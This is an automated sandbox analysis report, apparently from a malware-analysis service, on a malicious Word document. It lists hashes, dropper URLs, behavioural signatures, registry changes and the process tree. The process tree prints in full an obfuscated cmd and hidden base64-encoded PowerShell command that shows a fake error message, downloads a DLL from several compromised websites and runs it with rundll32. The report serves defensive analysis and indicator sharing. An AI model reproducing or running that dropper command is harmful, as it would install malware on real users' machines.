fee13caa4b47e7859ada7207507b9d385aee0e14412cc738fed9465078ed2696

General

Target

Your order YL5088844988 13-01-2021.doc
Size

92KB
MD5

390cc36367632b99404bc3c610a83441
SHA1

fdf27a70464fd442f858364503da83d64c48b686
SHA256

fee13caa4b47e7859ada7207507b9d385aee0e14412cc738fed9465078ed2696
SHA512

97a6868edf1534445a89ff13decaf694ac458a91253d6c7341d97bd7fe0d9e428a1cfe75b1144ab457106c7f38938a18cc530576c9c16c75b40ff35883b92a35

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://tmsvinhphuc.com/wp-content/SpeechEngines/

exe.dropper

http://huzurdugunsalonu.com/wp-content/Speech/

exe.dropper

http://personal.unicorp.site/lang/System_32/

exe.dropper

http://christinewalker.org/wp-admin/Xt9SNHtExU/

exe.dropper

http://www.3d.unicorp.site/js/GzVpMLaH/

exe.dropper

http://3d.unicorp.site/js/A1ew/

Signatures

Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.exe

description pid pid_target process target process

Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 1096 1800 cmd.exe
Blocklisted process makes network request 2 IoCs

Processes:

powershell.exerundll32.exe

flow pid process

7 932 powershell.exe
9 1632 rundll32.exe
Loads dropped DLL 4 IoCs

Processes:

rundll32.exe

pid process

672 rundll32.exe
672 rundll32.exe
672 rundll32.exe
672 rundll32.exe

description	pid	pid_target	process	target process
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1096	1800	cmd.exe

flow	pid	process
7	932	powershell.exe
9	1632	rundll32.exe

pid	process
672	rundll32.exe
672	rundll32.exe
672	rundll32.exe
672	rundll32.exe

Drops file in System32 directory 2 IoCs

Processes:

powershell.exerundll32.exe

description	ioc	process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\SysWOW64\Bdwkykrxf\aaukkcof.aam	rundll32.exe

Drops file in Windows directory 1 IoCs

Processes:

WINWORD.EXE

description ioc process

File opened for modification C:\Windows\Debug\WIA\wiatrace.log WINWORD.EXE
Office loads VBA resources, possible macro or embedded object present

description	ioc	process
File opened for modification	C:\Windows\Debug\WIA\wiatrace.log	WINWORD.EXE

Modifies Internet Explorer settings 1 TTPs 9 IoCs

adware spyware

Modify Registry

T1112

Processes:

WINWORD.EXE

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Toolbar\ShowDiscussionButton = "Yes"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote	WINWORD.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\Contexts = "55"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\EXCEL.EXE/3000"	WINWORD.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\Contexts = "1"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Toolbar	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\ONBttnIE.dll/105"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

WINWORD.EXE

pid process

2008 WINWORD.EXE
Suspicious behavior: EnumeratesProcesses 4 IoCs

Processes:

powershell.exerundll32.exe

pid process

932 powershell.exe
932 powershell.exe
1632 rundll32.exe
1632 rundll32.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 932 powershell.exe
Suspicious use of SetWindowsHookEx 2 IoCs

Processes:

WINWORD.EXE

pid process

2008 WINWORD.EXE
2008 WINWORD.EXE

pid	process
2008	WINWORD.EXE

pid	process
932	powershell.exe
932	powershell.exe
1632	rundll32.exe
1632	rundll32.exe

description	pid	process
Token: SeDebugPrivilege	932	powershell.exe

pid	process
2008	WINWORD.EXE
2008	WINWORD.EXE

Suspicious use of WriteProcessMemory 27 IoCs

Processes:

cmd.exepowershell.exerundll32.exerundll32.exeWINWORD.EXE

description	pid	process	target process
PID 1096 wrote to memory of 1924	1096	cmd.exe	msg.exe
PID 1096 wrote to memory of 1924	1096	cmd.exe	msg.exe
PID 1096 wrote to memory of 1924	1096	cmd.exe	msg.exe
PID 1096 wrote to memory of 932	1096	cmd.exe	powershell.exe
PID 1096 wrote to memory of 932	1096	cmd.exe	powershell.exe
PID 1096 wrote to memory of 932	1096	cmd.exe	powershell.exe
PID 932 wrote to memory of 988	932	powershell.exe	rundll32.exe
PID 932 wrote to memory of 988	932	powershell.exe	rundll32.exe
PID 932 wrote to memory of 988	932	powershell.exe	rundll32.exe
PID 988 wrote to memory of 672	988	rundll32.exe	rundll32.exe
PID 988 wrote to memory of 672	988	rundll32.exe	rundll32.exe
PID 988 wrote to memory of 672	988	rundll32.exe	rundll32.exe
PID 988 wrote to memory of 672	988	rundll32.exe	rundll32.exe
PID 988 wrote to memory of 672	988	rundll32.exe	rundll32.exe
PID 988 wrote to memory of 672	988	rundll32.exe	rundll32.exe
PID 988 wrote to memory of 672	988	rundll32.exe	rundll32.exe
PID 672 wrote to memory of 1632	672	rundll32.exe	rundll32.exe
PID 672 wrote to memory of 1632	672	rundll32.exe	rundll32.exe
PID 672 wrote to memory of 1632	672	rundll32.exe	rundll32.exe
PID 672 wrote to memory of 1632	672	rundll32.exe	rundll32.exe
PID 672 wrote to memory of 1632	672	rundll32.exe	rundll32.exe
PID 672 wrote to memory of 1632	672	rundll32.exe	rundll32.exe
PID 672 wrote to memory of 1632	672	rundll32.exe	rundll32.exe
PID 2008 wrote to memory of 1340	2008	WINWORD.EXE	splwow64.exe
PID 2008 wrote to memory of 1340	2008	WINWORD.EXE	splwow64.exe
PID 2008 wrote to memory of 1340	2008	WINWORD.EXE	splwow64.exe
PID 2008 wrote to memory of 1340	2008	WINWORD.EXE	splwow64.exe

C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\Your order YL5088844988 13-01-2021.doc"
1⤵
- Drops file in Windows directory
- Modifies Internet Explorer settings
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2008

C:\Windows\splwow64.exe
C:\Windows\splwow64.exe 12288
2⤵
PID:1340

C:\Windows\system32\cmd.exe
cmd cmd /c m^s^g %username% /v Wo^rd exp^erien^ced an er^ror tryi^ng to op^en th^e fi^le. & p^owe^rs^he^ll^ -w hi^dd^en -^e^nc IAAgAFMAZQBUAC0ASQBUAGUATQAgACAAKAAnAFYAYQBSACcAKwAnAEkAYQBCACcAKwAnAEwAZQA6AEsANwBZACcAKwAnAHgAJwArACcAQgAnACkAIAAoACAAIABbAFQAWQBQAGUAXQAoACIAewAyAH0AewAwAH0AewAzAH0AewAxAH0AIgAgAC0ARgAgACcASQBPAC4AZAAnACwAJwBZACcALAAnAHMAWQBzAHQAZQBtAC4AJwAsACcAaQBSAGUAQwBUAG8AUgAnACkAIAAgACkAOwAkAFAAWQBmAFYATABJACAAIAA9ACAAIABbAFQAeQBQAEUAXQAoACIAewAwAH0AewA0AH0AewAzAH0AewAyAH0AewA1AH0AewA2AH0AewAxAH0AIgAtAEYAIAAnAFMAWQBzAFQAZQAnACwAJwBHAEUAUgAnACwAJwBlAFQALgBzAGUAcgAnACwAJwAuAG4AJwAsACcATQAnACwAJwB2AEkAYwBlAFAAJwAsACcAbwBJAG4AVABNAGEATgBhACcAKQA7ACAAJABJAHoAZQB5AGMANgB4AD0AJABRADIAMgBTACAAKwAgAFsAYwBoAGEAcgBdACgANgA0ACkAIAArACAAJABPADIANwBVADsAJABKADIAMABHAD0AKAAoACcARAA3ACcAKwAnADAAJwApACsAJwBUACcAKQA7ACAAJABrADcAeQB4AGIAOgA6ACIAQwBgAFIAYABFAGEAVABlAGAARABpAFIARQBDAHQAYABvAHIAeQAiACgAJABIAE8ATQBFACAAKwAgACgAKAAnADcAJwArACgAJwA0ACcAKwAnADEAVABpAGkAJwApACsAKAAnAHAAeAA2AGwANwAnACsAJwA0ADEAJwArACcASwBtACcAKQArACgAJwBnADcAJwArACcAdQBlAGcAJwApACsAKAAnADcAJwArACcANAAxACcAKQApACAALQBSAEUAcABMAEEAQwBFACAAKAAnADcANAAnACsAJwAxACcAKQAsAFsAYwBoAEEAUgBdADkAMgApACkAOwAkAFgAXwA4AFkAPQAoACgAJwBVACcAKwAnADYAOAAnACkAKwAnAEgAJwApADsAIAAoACAAIABHAGUAdAAtAGkAVABFAG0AIAAoACcAVgBhAHIAaQBhACcAKwAnAGIAbABFADoAcAB5ACcAKwAnAGYAVgBMACcAKwAnAEkAJwApACAAKQAuAHYAQQBsAHUAZQA6ADoAIgBzAEUAQwBVAFIAaQBgAFQAYABZAHAAUgBvAHQAbwBgAGMAbwBMACIAIAA9ACAAKAAnAFQAJwArACgAJwBsAHMAMQAnACsAJwAyACcAKQApADsAJABPADMANgBXAD0AKAAoACcAWQA5ACcAKwAnADAAJwApACsAJwBQACcAKQA7ACQAVgA0ADYAOABfAHEAcgAgAD0AIAAoACcAQwAnACsAKAAnADcANwAnACsAJwBFACcAKQApADsAJABFADMAMgBWAD0AKAAnAEcAJwArACgAJwA5ACcAKwAnADQASgAnACkAKQA7ACQAWgBqADUAcwBjAGUAbgA9ACQASABPAE0ARQArACgAKAAoACcAdwA2AFUAVAAnACsAJwBpACcAKwAnAGkAcAB4ADYAbAB3ADYAJwApACsAKAAnAFUAJwArACcASwBtAGcAJwApACsAKAAnADcAdQAnACsAJwBlAGcAdwA2ACcAKQArACcAVQAnACkALgAiAHIAZQBgAHAATABgAEEAQwBlACIAKAAoACcAdwA2ACcAKwAnAFUAJwApACwAWwBzAFQAcgBJAG4AZwBdAFsAYwBoAGEAUgBdADkAMgApACkAKwAkAFYANAA2ADgAXwBxAHIAKwAoACgAJwAuAGQAJwArACcAbAAnACkAKwAnAGwAJwApADsAJABTADYAMgBHAD0AKAAnAEEAJwArACgAJwA2ADQAJwArACcARQAnACkAKQA7ACQASwBfAHEAMAB0AGoAcgA9ACgAKAAnAEEAJwArACcAXQBbAHEAJwArACcAWwBEADoALwAvACcAKQArACgAJwB0AG0AcwB2ACcAKwAnAGkAbgBoAHAAJwApACsAKAAnAGgAdQBjAC4AYwBvAG0ALwB3ACcAKwAnAHAALQBjACcAKwAnAG8AJwApACsAKAAnAG4AJwArACcAdABlAG4AdAAnACsAJwAvAFMAJwApACsAJwBwAGUAJwArACcAZQAnACsAKAAnAGMAaABFAG4AJwArACcAZwBpAG4AJwApACsAKAAnAGUAcwAnACsAJwAvAEAAQQBdAFsAJwArACcAcQAnACsAJwBbACcAKQArACgAJwBEADoALwAvAGgAdQB6ACcAKwAnAHUAJwApACsAKAAnAHIAZAAnACsAJwB1ACcAKQArACgAJwBnACcAKwAnAHUAbgAnACkAKwAoACcAcwAnACsAJwBhAGwAJwApACsAJwBvACcAKwAoACcAbgAnACsAJwB1AC4AYwBvAG0ALwAnACkAKwAnAHcAcAAnACsAKAAnAC0AYwAnACsAJwBvAG4AdABlACcAKwAnAG4AdAAvAFMAcAAnACkAKwAnAGUAZQAnACsAKAAnAGMAJwArACcAaAAvAEAAJwArACcAQQBdACcAKQArACgAJwBbAHEAJwArACcAWwBEACcAKQArACgAJwA6ACcAKwAnAC8ALwBwAGUAcgAnACkAKwAoACcAcwBvACcAKwAnAG4AJwArACcAYQBsAC4AdQBuAGkAYwAnACsAJwBvAHIAcAAuAHMAaQB0ACcAKwAnAGUALwAnACkAKwAoACcAbABhACcAKwAnAG4AZwAvACcAKwAnAFMAeQBzAHQAZQAnACkAKwAoACcAbQBfACcAKwAnADMAMgAvACcAKQArACcAQABBACcAKwAnAF0AWwAnACsAKAAnAHEAJwArACcAWwBEACcAKQArACcAOgAnACsAKAAnAC8ALwAnACsAJwBjAGgAcgAnACkAKwAoACcAaQAnACsAJwBzAHQAaQBuAGUAdwAnACsAJwBhAGwAJwApACsAJwBrAGUAJwArACgAJwByACcAKwAnAC4AbwByACcAKQArACgAJwBnAC8AdwAnACsAJwBwAC0AYQAnACsAJwBkAG0AaQBuAC8AWAAnACsAJwB0ADkAJwApACsAJwBTACcAKwAoACcATgAnACsAJwBIAHQARQAnACkAKwAoACcAeAAnACsAJwBVAC8AQABBACcAKQArACgAJwBdAFsAcQBbACcAKwAnAEQAOgAvACcAKwAnAC8AdwB3ACcAKQArACcAdwAuACcAKwAoACcAMwAnACsAJwBkAC4AJwArACcAdQBuAGkAYwBvACcAKwAnAHIAcAAnACsAJwAuAHMAaQB0AGUALwAnACsAJwBqAHMAJwArACcALwBHAHoAVgBwAE0AJwApACsAKAAnAEwAYQBIAC8AJwArACcAQAAnACkAKwAnAEEAJwArACcAXQBbACcAKwAoACcAcQBbAEQAOgAnACsAJwAvACcAKQArACcALwAnACsAKAAnADMAZAAnACsAJwAuAHUAbgAnACkAKwAnAGkAJwArACgAJwBjACcAKwAnAG8AcgAnACkAKwAnAHAAJwArACgAJwAuAHMAaQAnACsAJwB0ACcAKQArACgAJwBlAC8AagBzAC8AJwArACcAQQAxACcAKwAnAGUAdwAnACkAKwAnAC8AJwApAC4AIgBSAGAARQBQAGwAYABBAGMARQAiACgAKAAoACcAQQBdACcAKwAnAFsAJwApACsAJwBxACcAKwAnAFsARAAnACkALAAoAFsAYQByAHIAYQB5AF0AKAAoACgAJwBkAHMAJwArACcAZQB3ACcAKQArACcAZgAnACkALAAoACgAJwB3AGUAJwArACcAdgAnACkAKwAnAHcAZQAnACkAKQAsACgAKAAnAGEAZQAnACsAJwBmACcAKQArACcAZgAnACkALAAoACgAJwBoACcAKwAnAHQAdAAnACkAKwAnAHAAJwApACkAWwAyAF0AKQAuACIAcwBwAGwAYABJAHQAIgAoACQARQA4AF8ARgAgACsAIAAkAEkAegBlAHkAYwA2AHgAIAArACAAJABLADgAMwBQACkAOwAkAEgANAA2AEwAPQAoACcAUAA1ACcAKwAnADAARwAnACkAOwBmAG8AcgBlAGEAYwBoACAAKAAkAEIAawB1AHoANQBfADkAIABpAG4AIAAkAEsAXwBxADAAdABqAHIAKQB7AHQAcgB5AHsAKAAmACgAJwBOAGUAdwAnACsAJwAtAE8AYgBqAGUAYwAnACsAJwB0ACcAKQAgAHMAWQBTAHQAZQBtAC4ATgBFAFQALgBXAGUAQgBjAEwASQBlAG4AVAApAC4AIgBEAG8AYAB3AE4ATABgAG8AYABBAGQAZgBpAEwARQAiACgAJABCAGsAdQB6ADUAXwA5ACwAIAAkAFoAagA1AHMAYwBlAG4AKQA7ACQAVQAwADIATgA9ACgAJwBMADcAJwArACcAOABBACcAKQA7AEkAZgAgACgAKAAmACgAJwBHAGUAJwArACcAdAAtAEkAdAAnACsAJwBlAG0AJwApACAAJABaAGoANQBzAGMAZQBuACkALgAiAGwAZQBuAGAAZwB0AGgAIgAgAC0AZwBlACAAMwAyADcAOQA4ACkAIAB7AC4AKAAnAHIAJwArACcAdQBuAGQAbABsADMAMgAnACkAIAAkAFoAagA1AHMAYwBlAG4ALAAoACcAUwAnACsAKAAnAGgAbwAnACsAJwB3ACcAKQArACgAJwBEACcAKwAnAGkAYQAnACkAKwAoACcAbABvACcAKwAnAGcAQQAnACkAKQAuACIAdABPAFMAYABUAGAAUgBpAE4ARwAiACgAKQA7ACQASQA1ADQASQA9ACgAKAAnAEcAMAAnACsAJwAzACcAKQArACcAUQAnACkAOwBiAHIAZQBhAGsAOwAkAE4AOQA3AEMAPQAoACgAJwBBADgAJwArACcAXwAnACkAKwAnAEEAJwApAH0AfQBjAGEAdABjAGgAewB9AH0AJABSADEAMABDAD0AKAAnAE0ANQAnACsAJwAwAEQAJwApAA==
1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:1096

C:\Windows\system32\msg.exe
msg Admin /v Word experienced an error trying to open the file.
2⤵
PID:1924

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -w hidden -enc IAAgAFMAZQBUAC0ASQBUAGUATQAgACAAKAAnAFYAYQBSACcAKwAnAEkAYQBCACcAKwAnAEwAZQA6AEsANwBZACcAKwAnAHgAJwArACcAQgAnACkAIAAoACAAIABbAFQAWQBQAGUAXQAoACIAewAyAH0AewAwAH0AewAzAH0AewAxAH0AIgAgAC0ARgAgACcASQBPAC4AZAAnACwAJwBZACcALAAnAHMAWQBzAHQAZQBtAC4AJwAsACcAaQBSAGUAQwBUAG8AUgAnACkAIAAgACkAOwAkAFAAWQBmAFYATABJACAAIAA9ACAAIABbAFQAeQBQAEUAXQAoACIAewAwAH0AewA0AH0AewAzAH0AewAyAH0AewA1AH0AewA2AH0AewAxAH0AIgAtAEYAIAAnAFMAWQBzAFQAZQAnACwAJwBHAEUAUgAnACwAJwBlAFQALgBzAGUAcgAnACwAJwAuAG4AJwAsACcATQAnACwAJwB2AEkAYwBlAFAAJwAsACcAbwBJAG4AVABNAGEATgBhACcAKQA7ACAAJABJAHoAZQB5AGMANgB4AD0AJABRADIAMgBTACAAKwAgAFsAYwBoAGEAcgBdACgANgA0ACkAIAArACAAJABPADIANwBVADsAJABKADIAMABHAD0AKAAoACcARAA3ACcAKwAnADAAJwApACsAJwBUACcAKQA7ACAAJABrADcAeQB4AGIAOgA6ACIAQwBgAFIAYABFAGEAVABlAGAARABpAFIARQBDAHQAYABvAHIAeQAiACgAJABIAE8ATQBFACAAKwAgACgAKAAnADcAJwArACgAJwA0ACcAKwAnADEAVABpAGkAJwApACsAKAAnAHAAeAA2AGwANwAnACsAJwA0ADEAJwArACcASwBtACcAKQArACgAJwBnADcAJwArACcAdQBlAGcAJwApACsAKAAnADcAJwArACcANAAxACcAKQApACAALQBSAEUAcABMAEEAQwBFACAAKAAnADcANAAnACsAJwAxACcAKQAsAFsAYwBoAEEAUgBdADkAMgApACkAOwAkAFgAXwA4AFkAPQAoACgAJwBVACcAKwAnADYAOAAnACkAKwAnAEgAJwApADsAIAAoACAAIABHAGUAdAAtAGkAVABFAG0AIAAoACcAVgBhAHIAaQBhACcAKwAnAGIAbABFADoAcAB5ACcAKwAnAGYAVgBMACcAKwAnAEkAJwApACAAKQAuAHYAQQBsAHUAZQA6ADoAIgBzAEUAQwBVAFIAaQBgAFQAYABZAHAAUgBvAHQAbwBgAGMAbwBMACIAIAA9ACAAKAAnAFQAJwArACgAJwBsAHMAMQAnACsAJwAyACcAKQApADsAJABPADMANgBXAD0AKAAoACcAWQA5ACcAKwAnADAAJwApACsAJwBQACcAKQA7ACQAVgA0ADYAOABfAHEAcgAgAD0AIAAoACcAQwAnACsAKAAnADcANwAnACsAJwBFACcAKQApADsAJABFADMAMgBWAD0AKAAnAEcAJwArACgAJwA5ACcAKwAnADQASgAnACkAKQA7ACQAWgBqADUAcwBjAGUAbgA9ACQASABPAE0ARQArACgAKAAoACcAdwA2AFUAVAAnACsAJwBpACcAKwAnAGkAcAB4ADYAbAB3ADYAJwApACsAKAAnAFUAJwArACcASwBtAGcAJwApACsAKAAnADcAdQAnACsAJwBlAGcAdwA2ACcAKQArACcAVQAnACkALgAiAHIAZQBgAHAATABgAEEAQwBlACIAKAAoACcAdwA2ACcAKwAnAFUAJwApACwAWwBzAFQAcgBJAG4AZwBdAFsAYwBoAGEAUgBdADkAMgApACkAKwAkAFYANAA2ADgAXwBxAHIAKwAoACgAJwAuAGQAJwArACcAbAAnACkAKwAnAGwAJwApADsAJABTADYAMgBHAD0AKAAnAEEAJwArACgAJwA2ADQAJwArACcARQAnACkAKQA7ACQASwBfAHEAMAB0AGoAcgA9ACgAKAAnAEEAJwArACcAXQBbAHEAJwArACcAWwBEADoALwAvACcAKQArACgAJwB0AG0AcwB2ACcAKwAnAGkAbgBoAHAAJwApACsAKAAnAGgAdQBjAC4AYwBvAG0ALwB3ACcAKwAnAHAALQBjACcAKwAnAG8AJwApACsAKAAnAG4AJwArACcAdABlAG4AdAAnACsAJwAvAFMAJwApACsAJwBwAGUAJwArACcAZQAnACsAKAAnAGMAaABFAG4AJwArACcAZwBpAG4AJwApACsAKAAnAGUAcwAnACsAJwAvAEAAQQBdAFsAJwArACcAcQAnACsAJwBbACcAKQArACgAJwBEADoALwAvAGgAdQB6ACcAKwAnAHUAJwApACsAKAAnAHIAZAAnACsAJwB1ACcAKQArACgAJwBnACcAKwAnAHUAbgAnACkAKwAoACcAcwAnACsAJwBhAGwAJwApACsAJwBvACcAKwAoACcAbgAnACsAJwB1AC4AYwBvAG0ALwAnACkAKwAnAHcAcAAnACsAKAAnAC0AYwAnACsAJwBvAG4AdABlACcAKwAnAG4AdAAvAFMAcAAnACkAKwAnAGUAZQAnACsAKAAnAGMAJwArACcAaAAvAEAAJwArACcAQQBdACcAKQArACgAJwBbAHEAJwArACcAWwBEACcAKQArACgAJwA6ACcAKwAnAC8ALwBwAGUAcgAnACkAKwAoACcAcwBvACcAKwAnAG4AJwArACcAYQBsAC4AdQBuAGkAYwAnACsAJwBvAHIAcAAuAHMAaQB0ACcAKwAnAGUALwAnACkAKwAoACcAbABhACcAKwAnAG4AZwAvACcAKwAnAFMAeQBzAHQAZQAnACkAKwAoACcAbQBfACcAKwAnADMAMgAvACcAKQArACcAQABBACcAKwAnAF0AWwAnACsAKAAnAHEAJwArACcAWwBEACcAKQArACcAOgAnACsAKAAnAC8ALwAnACsAJwBjAGgAcgAnACkAKwAoACcAaQAnACsAJwBzAHQAaQBuAGUAdwAnACsAJwBhAGwAJwApACsAJwBrAGUAJwArACgAJwByACcAKwAnAC4AbwByACcAKQArACgAJwBnAC8AdwAnACsAJwBwAC0AYQAnACsAJwBkAG0AaQBuAC8AWAAnACsAJwB0ADkAJwApACsAJwBTACcAKwAoACcATgAnACsAJwBIAHQARQAnACkAKwAoACcAeAAnACsAJwBVAC8AQABBACcAKQArACgAJwBdAFsAcQBbACcAKwAnAEQAOgAvACcAKwAnAC8AdwB3ACcAKQArACcAdwAuACcAKwAoACcAMwAnACsAJwBkAC4AJwArACcAdQBuAGkAYwBvACcAKwAnAHIAcAAnACsAJwAuAHMAaQB0AGUALwAnACsAJwBqAHMAJwArACcALwBHAHoAVgBwAE0AJwApACsAKAAnAEwAYQBIAC8AJwArACcAQAAnACkAKwAnAEEAJwArACcAXQBbACcAKwAoACcAcQBbAEQAOgAnACsAJwAvACcAKQArACcALwAnACsAKAAnADMAZAAnACsAJwAuAHUAbgAnACkAKwAnAGkAJwArACgAJwBjACcAKwAnAG8AcgAnACkAKwAnAHAAJwArACgAJwAuAHMAaQAnACsAJwB0ACcAKQArACgAJwBlAC8AagBzAC8AJwArACcAQQAxACcAKwAnAGUAdwAnACkAKwAnAC8AJwApAC4AIgBSAGAARQBQAGwAYABBAGMARQAiACgAKAAoACcAQQBdACcAKwAnAFsAJwApACsAJwBxACcAKwAnAFsARAAnACkALAAoAFsAYQByAHIAYQB5AF0AKAAoACgAJwBkAHMAJwArACcAZQB3ACcAKQArACcAZgAnACkALAAoACgAJwB3AGUAJwArACcAdgAnACkAKwAnAHcAZQAnACkAKQAsACgAKAAnAGEAZQAnACsAJwBmACcAKQArACcAZgAnACkALAAoACgAJwBoACcAKwAnAHQAdAAnACkAKwAnAHAAJwApACkAWwAyAF0AKQAuACIAcwBwAGwAYABJAHQAIgAoACQARQA4AF8ARgAgACsAIAAkAEkAegBlAHkAYwA2AHgAIAArACAAJABLADgAMwBQACkAOwAkAEgANAA2AEwAPQAoACcAUAA1ACcAKwAnADAARwAnACkAOwBmAG8AcgBlAGEAYwBoACAAKAAkAEIAawB1AHoANQBfADkAIABpAG4AIAAkAEsAXwBxADAAdABqAHIAKQB7AHQAcgB5AHsAKAAmACgAJwBOAGUAdwAnACsAJwAtAE8AYgBqAGUAYwAnACsAJwB0ACcAKQAgAHMAWQBTAHQAZQBtAC4ATgBFAFQALgBXAGUAQgBjAEwASQBlAG4AVAApAC4AIgBEAG8AYAB3AE4ATABgAG8AYABBAGQAZgBpAEwARQAiACgAJABCAGsAdQB6ADUAXwA5ACwAIAAkAFoAagA1AHMAYwBlAG4AKQA7ACQAVQAwADIATgA9ACgAJwBMADcAJwArACcAOABBACcAKQA7AEkAZgAgACgAKAAmACgAJwBHAGUAJwArACcAdAAtAEkAdAAnACsAJwBlAG0AJwApACAAJABaAGoANQBzAGMAZQBuACkALgAiAGwAZQBuAGAAZwB0AGgAIgAgAC0AZwBlACAAMwAyADcAOQA4ACkAIAB7AC4AKAAnAHIAJwArACcAdQBuAGQAbABsADMAMgAnACkAIAAkAFoAagA1AHMAYwBlAG4ALAAoACcAUwAnACsAKAAnAGgAbwAnACsAJwB3ACcAKQArACgAJwBEACcAKwAnAGkAYQAnACkAKwAoACcAbABvACcAKwAnAGcAQQAnACkAKQAuACIAdABPAFMAYABUAGAAUgBpAE4ARwAiACgAKQA7ACQASQA1ADQASQA9ACgAKAAnAEcAMAAnACsAJwAzACcAKQArACcAUQAnACkAOwBiAHIAZQBhAGsAOwAkAE4AOQA3AEMAPQAoACgAJwBBADgAJwArACcAXwAnACkAKwAnAEEAJwApAH0AfQBjAGEAdABjAGgAewB9AH0AJABSADEAMABDAD0AKAAnAE0ANQAnACsAJwAwAEQAJwApAA==
2⤵
- Blocklisted process makes network request
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:932

C:\Windows\system32\rundll32.exe
"C:\Windows\system32\rundll32.exe" C:\Users\Admin\Tiipx6l\Kmg7ueg\C77E.dll ShowDialogA
3⤵
- Suspicious use of WriteProcessMemory
PID:988

C:\Windows\SysWOW64\rundll32.exe
"C:\Windows\system32\rundll32.exe" C:\Users\Admin\Tiipx6l\Kmg7ueg\C77E.dll ShowDialogA
4⤵
- Loads dropped DLL
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
PID:672

C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Bdwkykrxf\aaukkcof.aam",ShowDialogA
5⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
PID:1632

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

C:\Users\Admin\Tiipx6l\Kmg7ueg\C77E.dll
MD5
5323b594d60815546b33c63285460b6a

SHA1
5950b1d20f10453051956c28bdbfb130f60120e2

SHA256
aa4563a7bc419e1154107338118c0667cc43dccdf453144ddcc32ea76d99f9fe

SHA512
e4e73ea5d20501d8d782b950cfc045e0b6c6eab15b7fb315e005013d4297468226205adc85c6a121ed6ff456dc912190b8e1e949b5781d71540b4a5e2b5d3986

Download Submit
\Users\Admin\Tiipx6l\Kmg7ueg\C77E.dll
MD5
5323b594d60815546b33c63285460b6a

SHA1
5950b1d20f10453051956c28bdbfb130f60120e2

SHA256
aa4563a7bc419e1154107338118c0667cc43dccdf453144ddcc32ea76d99f9fe

SHA512
e4e73ea5d20501d8d782b950cfc045e0b6c6eab15b7fb315e005013d4297468226205adc85c6a121ed6ff456dc912190b8e1e949b5781d71540b4a5e2b5d3986

Download Submit
\Users\Admin\Tiipx6l\Kmg7ueg\C77E.dll
MD5
5323b594d60815546b33c63285460b6a

SHA1
5950b1d20f10453051956c28bdbfb130f60120e2

SHA256
aa4563a7bc419e1154107338118c0667cc43dccdf453144ddcc32ea76d99f9fe

SHA512
e4e73ea5d20501d8d782b950cfc045e0b6c6eab15b7fb315e005013d4297468226205adc85c6a121ed6ff456dc912190b8e1e949b5781d71540b4a5e2b5d3986

Download Submit
\Users\Admin\Tiipx6l\Kmg7ueg\C77E.dll
MD5
5323b594d60815546b33c63285460b6a

SHA1
5950b1d20f10453051956c28bdbfb130f60120e2

SHA256
aa4563a7bc419e1154107338118c0667cc43dccdf453144ddcc32ea76d99f9fe

SHA512
e4e73ea5d20501d8d782b950cfc045e0b6c6eab15b7fb315e005013d4297468226205adc85c6a121ed6ff456dc912190b8e1e949b5781d71540b4a5e2b5d3986

Download Submit
\Users\Admin\Tiipx6l\Kmg7ueg\C77E.dll
MD5
5323b594d60815546b33c63285460b6a

SHA1
5950b1d20f10453051956c28bdbfb130f60120e2

SHA256
aa4563a7bc419e1154107338118c0667cc43dccdf453144ddcc32ea76d99f9fe

SHA512
